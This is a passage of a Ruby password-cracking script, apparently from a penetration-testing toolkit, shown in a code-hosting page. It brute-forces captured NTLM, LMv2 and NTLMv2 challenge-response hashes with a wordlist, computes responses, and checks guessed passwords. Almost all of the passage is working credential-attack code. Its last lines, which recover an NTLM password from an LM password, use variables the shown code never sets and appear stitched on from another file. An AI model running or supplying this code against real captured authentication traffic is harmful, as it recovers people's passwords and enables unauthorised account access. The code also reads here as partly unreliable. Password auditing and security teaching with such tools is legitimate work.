password = line.gsub("\r\n",'').gsub("\n",'')
|
||||
if password =~ /^.{1,14}$/
|
||||
puts password
|
||||
arglm = { :lm_hash => Net::NTLM::lm_hash(password),
|
||||
:challenge => [ srvchal ].pack("H*") }
|
||||
calculatedhash = Net::NTLM::lm_response(arglm).unpack("H*")[0].upcase
|
||||
if calculatedhash == hash.upcase
|
||||
found = true
|
||||
match_password = password
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
if found
|
||||
puts "[*] Correct password found : #{match_password.upcase}"
|
||||
exit
|
||||
else
|
||||
puts "[*] No password found"
|
||||
exit
|
||||
end
|
||||
when HASH_MODE
|
||||
if not pass =~ /^.{1,14}$/
|
||||
$stderr.puts "[*] NETLMv1 password can not be bigger then 14 characters"
|
||||
exit
|
||||
end
|
||||
if not srvchal
|
||||
$stderr.puts "[*] Server challenge must be provided with this type"
|
||||
exit
|
||||
end
|
||||
if not srvchal =~ /^([a-fA-F0-9]{16})$/
|
||||
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
arglm = { :lm_hash => Net::NTLM::lm_hash(pass),
|
||||
:challenge => [ srvchal ].pack("H*") }
|
||||
|
||||
calculatedhash = Net::NTLM::lm_response(arglm).unpack("H*")[0].upcase
|
||||
puts "[*] The NETLMv1 hash for #{pass.upcase} is : #{calculatedhash}"
|
||||
exit
|
||||
when PASS_MODE
|
||||
if not pass =~ /^.{1,14}$/
|
||||
$stderr.puts "[*] NETLMv1 password can not be bigger then 14 characters"
|
||||
exit
|
||||
end
|
||||
if not hash =~ /^([a-fA-F0-9]{48})$/
|
||||
$stderr.puts "[*] NETLMv1 HASH must be exactly 48 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
if not srvchal
|
||||
$stderr.puts "[*] Server challenge must be provided with this type"
|
||||
exit
|
||||
end
|
||||
if not srvchal =~ /^([a-fA-F0-9]{16})$/
|
||||
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
arglm = { :lm_hash => Net::NTLM::lm_hash(pass),
|
||||
:challenge => [ srvchal ].pack("H*") }
|
||||
|
||||
calculatedhash = Net::NTLM::lm_response(arglm).unpack("H*")[0].upcase
|
||||
if hash.upcase == calculatedhash
|
||||
puts "[*] Correct password provided : #{pass.upcase}"
|
||||
exit
|
||||
else
|
||||
puts "[*] Incorrect password provided : #{pass.upcase}"
|
||||
exit
|
||||
end
|
||||
end
|
||||
when "NETNTLMv1"
|
||||
case mode
|
||||
when BRUTE_MODE
|
||||
if not hash =~ /^([a-fA-F0-9]{48})$/
|
||||
$stderr.puts "[*] NETNTLMv1 HASH must be exactly 48 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
if not srvchal
|
||||
$stderr.puts "[*] Server challenge must be provided with this type"
|
||||
exit
|
||||
end
|
||||
if not srvchal =~ /^([a-fA-F0-9]{16})$/
|
||||
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
found = false
|
||||
match_password = nil
|
||||
File.open(list,"r") do |password_list|
|
||||
password_list.each_line do |line|
|
||||
password = line.gsub("\r\n",'').gsub("\n",'')
|
||||
puts password
|
||||
argntlm = { :ntlm_hash => Net::NTLM::ntlm_hash(password),
|
||||
:challenge => [ srvchal ].pack("H*") }
|
||||
calculatedhash = Net::NTLM::ntlm_response(argntlm).unpack("H*")[0].upcase
|
||||
if calculatedhash == hash.upcase
|
||||
found = true
|
||||
match_password = password
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
if found
|
||||
puts "[*] Correct password found : #{match_password}"
|
||||
exit
|
||||
else
|
||||
puts "[*] No password found"
|
||||
exit
|
||||
end
|
||||
when HASH_MODE
|
||||
if not srvchal
|
||||
$stderr.puts "[*] Server challenge must be provided with this type"
|
||||
exit
|
||||
end
|
||||
if not srvchal =~ /^([a-fA-F0-9]{16})$/
|
||||
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
argntlm = { :ntlm_hash => Net::NTLM::ntlm_hash(pass),
|
||||
:challenge => [ srvchal ].pack("H*") }
|
||||
calculatedhash = Net::NTLM::ntlm_response(argntlm).unpack("H*")[0].upcase
|
||||
puts "[*] The NETNTLMv1 hash for #{pass} is : #{calculatedhash}"
|
||||
exit
|
||||
when PASS_MODE
|
||||
if not hash =~ /^([a-fA-F0-9]{48})$/
|
||||
$stderr.puts "[*] NETNTLMv1 HASH must be exactly 48 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
if not srvchal
|
||||
$stderr.puts "[*] Server challenge must be provided with this type"
|
||||
exit
|
||||
end
|
||||
if not srvchal =~ /^([a-fA-F0-9]{16})$/
|
||||
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
argntlm = { :ntlm_hash => Net::NTLM::ntlm_hash(pass),
|
||||
:challenge => [ srvchal ].pack("H*") }
|
||||
|
||||
calculatedhash = Net::NTLM::ntlm_response(argntlm).unpack("H*")[0].upcase
|
||||
if hash.upcase == calculatedhash
|
||||
puts "[*] Correct password provided : #{pass}"
|
||||
exit
|
||||
else
|
||||
puts "[*] Incorrect password provided : #{pass}"
|
||||
exit
|
||||
end
|
||||
end
|
||||
when "NETNTLM2_SESSION"
|
||||
case mode
|
||||
when BRUTE_MODE
|
||||
if not hash =~ /^([a-fA-F0-9]{48})$/
|
||||
$stderr.puts "[*] NETNTLM2_SESSION HASH must be exactly 48 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
if not srvchal
|
||||
$stderr.puts "[*] Server challenge must be provided with this type"
|
||||
exit
|
||||
end
|
||||
if not srvchal =~ /^([a-fA-F0-9]{16})$/
|
||||
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
if not clichal
|
||||
$stderr.puts "[*] Client challenge must be provided with this type"
|
||||
exit
|
||||
end
|
||||
if not clichal =~ /^([a-fA-F0-9]{16})$/
|
||||
$stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
|
||||
found = false
|
||||
match_password = nil
|
||||
File.open(list,"r") do |password_list|
|
||||
password_list.each_line do |line|
|
||||
password = line.gsub("\r\n",'').gsub("\n",'')
|
||||
puts password
|
||||
argntlm = { :ntlm_hash => Net::NTLM::ntlm_hash(password),
|
||||
:challenge => [ srvchal ].pack("H*") }
|
||||
optntlm = { :client_challenge => [ clichal ].pack("H*")}
|
||||
|
||||
calculatedhash = Net::NTLM::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase
|
||||
|
||||
if calculatedhash == hash.upcase
|
||||
found = true
|
||||
match_password = password
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
if found
|
||||
puts "[*] Correct password found : #{match_password}"
|
||||
exit
|
||||
else
|
||||
puts "[*] No password found"
|
||||
exit
|
||||
end
|
||||
when HASH_MODE
|
||||
if not srvchal
|
||||
$stderr.puts "[*] Server challenge must be provided with this type"
|
||||
exit
|
||||
end
|
||||
if not srvchal =~ /^([a-fA-F0-9]{16})$/
|
||||
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
if not clichal
|
||||
$stderr.puts "[*] Client challenge must be provided with this type"
|
||||
exit
|
||||
end
|
||||
if not clichal =~ /^([a-fA-F0-9]{16})$/
|
||||
$stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
argntlm = { :ntlm_hash => Net::NTLM::ntlm_hash(pass),
|
||||
:challenge => [ srvchal ].pack("H*") }
|
||||
optntlm = { :client_challenge => [ clichal ].pack("H*")}
|
||||
|
||||
calculatedhash = Net::NTLM::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase
|
||||
puts "[*] The NETNTLM2_SESSION hash for #{pass} is : #{calculatedhash}"
|
||||
exit
|
||||
when PASS_MODE
|
||||
if not hash =~ /^([a-fA-F0-9]{48})$/
|
||||
$stderr.puts "[*] NETNTLM2_SESSION HASH must be exactly 48 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
if not srvchal
|
||||
$stderr.puts "[*] Server challenge must be provided with this type"
|
||||
exit
|
||||
end
|
||||
if not srvchal =~ /^([a-fA-F0-9]{16})$/
|
||||
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
if not clichal
|
||||
$stderr.puts "[*] Client challenge must be provided with this type"
|
||||
exit
|
||||
end
|
||||
if not clichal =~ /^([a-fA-F0-9]{16})$/
|
||||
$stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
argntlm = { :ntlm_hash => Net::NTLM::ntlm_hash(pass),
|
||||
:challenge => [ srvchal ].pack("H*") }
|
||||
optntlm = { :client_challenge => [ clichal ].pack("H*")}
|
||||
|
||||
calculatedhash = Net::NTLM::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase
|
||||
|
||||
if hash.upcase == calculatedhash
|
||||
puts "[*] Correct password provided : #{pass}"
|
||||
exit
|
||||
else
|
||||
puts "[*] Incorrect password provided : #{pass}"
|
||||
exit
|
||||
end
|
||||
end
|
||||
when "NETLMv2"
|
||||
case mode
|
||||
when BRUTE_MODE
|
||||
if not hash =~ /^([a-fA-F0-9]{32})$/
|
||||
$stderr.puts "[*] NETLMv2 HASH must be exactly 32 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
if not srvchal
|
||||
$stderr.puts "[*] Server challenge must be provided with this type"
|
||||
exit
|
||||
end
|
||||
if not srvchal =~ /^([a-fA-F0-9]{16})$/
|
||||
$stderr.puts "[*] Server challenge mus be exactly 16 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
if not clichal
|
||||
$stderr.puts "[*] Client challenge must be provided with this type"
|
||||
exit
|
||||
end
|
||||
if not clichal =~ /^([a-fA-F0-9]{16})$/
|
||||
$stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
if not user
|
||||
$stderr.puts "[*] User name must be provided with this type"
|
||||
exit
|
||||
end
|
||||
if not domain
|
||||
$stderr.puts "[*] Domain name must be provided with this type"
|
||||
exit
|
||||
end
|
||||
|
||||
found = false
|
||||
match_password = nil
|
||||
File.open(list,"r") do |password_list|
|
||||
password_list.each_line do |line|
|
||||
password = line.gsub("\r\n",'').gsub("\n",'')
|
||||
puts password
|
||||
arglm = { :ntlmv2_hash => Net::NTLM::ntlmv2_hash(user,password, domain),
|
||||
:challenge => [ srvchal ].pack("H*") }
|
||||
optlm = { :client_challenge => [ clichal ].pack("H*")}
|
||||
calculatedhash = Net::NTLM::lmv2_response(arglm, optlm).unpack("H*")[0].upcase
|
||||
if calculatedhash.slice(0,32) == hash.upcase
|
||||
found = true
|
||||
match_password = password
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
if found
|
||||
puts "[*] Correct password found : #{match_password}"
|
||||
exit
|
||||
else
|
||||
puts "[*] No password found"
|
||||
exit
|
||||
end
|
||||
when HASH_MODE
|
||||
if not srvchal
|
||||
$stderr.puts "[*] Server challenge must be provided with this type"
|
||||
exit
|
||||
end
|
||||
if not srvchal =~ /^([a-fA-F0-9]{16})$/
|
||||
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
if not clichal
|
||||
$stderr.puts "[*] Client challenge must be provided with this type"
|
||||
exit
|
||||
end
|
||||
if not clichal =~ /^([a-fA-F0-9]{16})$/
|
||||
$stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
if not user
|
||||
$stderr.puts "[*] User name must be provided with this type"
|
||||
exit
|
||||
end
|
||||
if not domain
|
||||
$stderr.puts "[*] Domain name must be provided with this type"
|
||||
exit
|
||||
end
|
||||
|
||||
arglm = { :ntlmv2_hash => Net::NTLM::ntlmv2_hash(user,pass, domain),
|
||||
:challenge => [ srvchal ].pack("H*") }
|
||||
optlm = { :client_challenge => [ clichal ].pack("H*")}
|
||||
calculatedhash = Net::NTLM::lmv2_response(arglm, optlm).unpack("H*")[0].upcase
|
||||
|
||||
puts "[*] The NETLMv2 hash for #{pass} is : #{calculatedhash.slice(0,32)}"
|
||||
exit
|
||||
when PASS_MODE
|
||||
if not hash =~ /^([a-fA-F0-9]{32})$/
|
||||
$stderr.puts "[*] NETLMv2 HASH must be exactly 32 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
if not srvchal
|
||||
$stderr.puts "[*] Server challenge must be provided with this type"
|
||||
exit
|
||||
end
|
||||
if not srvchal =~ /^([a-fA-F0-9]{16})$/
|
||||
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
if not clichal
|
||||
$stderr.puts "[*] Client challenge must be provided with this type"
|
||||
exit
|
||||
end
|
||||
if not clichal =~ /^([a-fA-F0-9]{16})$/
|
||||
$stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
if not user
|
||||
$stderr.puts "[*] User name must be provided with this type"
|
||||
exit
|
||||
end
|
||||
if not domain
|
||||
$stderr.puts "[*] Domain name must be provided with this type"
|
||||
exit
|
||||
end
|
||||
arglm = { :ntlmv2_hash => Net::NTLM::ntlmv2_hash(user,pass, domain),
|
||||
:challenge => [ srvchal ].pack("H*") }
|
||||
optlm = { :client_challenge => [ clichal ].pack("H*")}
|
||||
calculatedhash = Net::NTLM::lmv2_response(arglm, optlm).unpack("H*")[0].upcase
|
||||
if hash.upcase == calculatedhash.slice(0,32)
|
||||
puts "[*] Correct password provided : #{pass}"
|
||||
exit
|
||||
else
|
||||
puts "[*] Incorrect password provided : #{pass}"
|
||||
exit
|
||||
end
|
||||
end
|
||||
|
||||
when "NETNTLMv2"
|
||||
case mode
|
||||
when BRUTE_MODE
|
||||
if not hash =~ /^([a-fA-F0-9]{32})$/
|
||||
$stderr.puts "[*] NETNTLMv2 HASH must be exactly 32 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
if not srvchal
|
||||
$stderr.puts "[*] Server challenge must be provided with this type"
|
||||
exit
|
||||
end
|
||||
if not srvchal =~ /^([a-fA-F0-9]{16})$/
|
||||
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
if not clichal
|
||||
$stderr.puts "[*] Client challenge must be provided with this type"
|
||||
exit
|
||||
end
|
||||
if not clichal =~ /^([a-fA-F0-9]{17,})$/
|
||||
$stderr.puts "[*] Client challenge must be bigger then 16 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
if not user
|
||||
$stderr.puts "[*] User name must be provided with this type"
|
||||
exit
|
||||
end
|
||||
if not domain
|
||||
$stderr.puts "[*] Domain name must be provided with this type"
|
||||
exit
|
||||
end
|
||||
|
||||
found = false
|
||||
match_password = nil
|
||||
File.open(list,"r") do |password_list|
|
||||
password_list.each_line do |line|
|
||||
password = line.gsub("\r\n",'').gsub("\n",'')
|
||||
puts password
|
||||
argntlm = { :ntlmv2_hash => Net::NTLM::ntlmv2_hash(user, password, domain),
|
||||
:challenge => [ srvchal ].pack("H*") }
|
||||
optntlm = { :nt_client_challenge => [ clichal ].pack("H*")}
|
||||
calculatedhash = Net::NTLM::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase
|
||||
|
||||
if calculatedhash.slice(0,32) == hash.upcase
|
||||
found = true
|
||||
match_password = password
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
if found
|
||||
puts "[*] Correct password found : #{match_password}"
|
||||
exit
|
||||
else
|
||||
puts "[*] No password found"
|
||||
exit
|
||||
end
|
||||
when HASH_MODE
|
||||
if not srvchal
|
||||
$stderr.puts "[*] Server challenge must be provided with this type"
|
||||
exit
|
||||
end
|
||||
if not srvchal =~ /^([a-fA-F0-9]{16})$/
|
||||
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
if not clichal
|
||||
$stderr.puts "[*] Client challenge must be provided with this type"
|
||||
exit
|
||||
end
|
||||
if not clichal =~ /^([a-fA-F0-9]{17,})$/
|
||||
$stderr.puts "[*] Client challenge must be bigger then 16 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
if not user
|
||||
$stderr.puts "[*] User name must be provided with this type"
|
||||
exit
|
||||
end
|
||||
if not domain
|
||||
$stderr.puts "[*] Domain name must be provided with this type"
|
||||
exit
|
||||
end
|
||||
|
||||
argntlm = { :ntlmv2_hash => Net::NTLM::ntlmv2_hash(user, pass, domain),
|
||||
:challenge => [ srvchal ].pack("H*") }
|
||||
optntlm = { :nt_client_challenge => [ clichal ].pack("H*")}
|
||||
calculatedhash = Net::NTLM::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase
|
||||
|
||||
puts "[*] The NETNTLMv2 hash for #{pass} is : #{calculatedhash.slice(0,32)}"
|
||||
exit
|
||||
when PASS_MODE
|
||||
if not hash =~ /^([a-fA-F0-9]{32})$/
|
||||
$stderr.puts "[*] NETNTLMv2 HASH must be exactly 32 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
if not srvchal
|
||||
$stderr.puts "[*] Server challenge must be provided with this type"
|
||||
exit
|
||||
end
|
||||
if not srvchal =~ /^([a-fA-F0-9]{16})$/
|
||||
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
if not clichal
|
||||
$stderr.puts "[*] Client challenge must be provided with this type"
|
||||
exit
|
||||
end
|
||||
if not clichal =~ /^([a-fA-F0-9]{17,})$/
|
||||
$stderr.puts "[*] Client challenge must be bigger then 16 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
if not user
|
||||
$stderr.puts "[*] User name must be provided with this type"
|
||||
exit
|
||||
end
|
||||
if not domain
|
||||
$stderr.puts "[*] Domain name must be provided with this type"
|
||||
exit
|
||||
end
|
||||
|
||||
argntlm = { :ntlmv2_hash => Net::NTLM::ntlmv2_hash(user, pass, domain),
|
||||
:challenge => [ srvchal ].pack("H*") }
|
||||
optntlm = { :nt_client_challenge => [ clichal ].pack("H*")}
|
||||
calculatedhash = Net::NTLM::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase
|
||||
|
||||
if hash.upcase == calculatedhash.slice(0,32)
|
||||
puts "[*] Correct password provided : #{pass}"
|
||||
exit
|
||||
else
|
||||
puts "[*] Incorrect password provided : #{pass}"
|
||||
exit
|
||||
end
|
||||
end
|
||||
else
|
||||
$stderr.puts "type must be of type : HALFLM/LM/NTLM/HALFNETLMv1/NETLMv1/NETNTLMv1/NETNTLM2_SESSION/NETLMv2/NETNTLMv2"
|
||||
exit
|
||||
end
|
||||
|
||||
if(chal)
|
||||
done = Rex::Proto::SMB::Crypt.lmchal2ntchal(pass, [ntlm].pack("H*"),@challenge)
|
||||
else
|
||||
done = Rex::Proto::SMB::Crypt.lm2nt(pass, [ntlm].pack("H*"))
|
||||
end
|
||||
|
||||
if(done)
|
||||
puts "[*] Cracked: LANMAN=#{pass} NTLM=#{done}"
|
||||
else
|
||||
puts "[*] Failed to crack password (incorrect input)"
|
||||
end
|
||||
|
Loading…
Reference in New Issue
Block a user